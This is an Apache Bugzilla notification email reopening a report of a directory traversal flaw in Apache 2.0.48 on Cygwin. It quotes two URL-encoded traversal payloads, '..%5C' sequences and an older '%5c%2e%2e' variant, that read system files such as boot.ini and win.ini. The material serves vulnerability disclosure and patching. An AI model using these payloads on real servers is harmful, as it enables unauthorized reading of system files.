DO NOT REPLY TO THIS EMAIL, BUT PLEASE POST YOUR BUG RELATED COMMENTS THROUGH THE WEB INTERFACE AVAILABLE AT <http://issues.apache.org/bugzilla/show_bug.cgi?id=26153>. ANY REPLY MADE TO THIS MESSAGE WILL NOT BE COLLECTED AND INSERTED IN THE BUG DATABASE.
http://issues.apache.org/bugzilla/show_bug.cgi?id=26153 Apache cygwin directory traversal vulnerability [EMAIL PROTECTED] changed: What |Removed |Added ---------------------------------------------------------------------------- Status|RESOLVED |REOPENED Resolution|FIXED | ------- Additional Comments From [EMAIL PROTECTED] 2004-08-30 06:35 ------- It is similar to CAN-2002-0661, but new bug of Apache (2.0.48 and below on Cygwin). look at the difference between CAN-2002-0661 and this (%2e). <CAN-2002-0661 attack signature> http://[server]/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini <this bug attack signature> http://[server]/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini I've tested this on Apache 2.0.48 (cygwin), and it did work. I guess CAN-2002-0661 patch didn't applied to Cygwin portion. --------------------------------------------------------------------- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
